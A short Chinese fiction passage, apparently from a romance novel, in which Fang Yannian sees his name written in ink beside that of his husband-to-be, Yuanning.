毛笔在薄薄的宣纸上落下墨迹,方衍年看着自己的名字并排着写在另一个名字旁边。 陌生而又奇妙的感觉涌上心头,那即将和他相伴一生的两个字在齿间萦绕。 沅宁。 他的夫郎,是叫沅宁。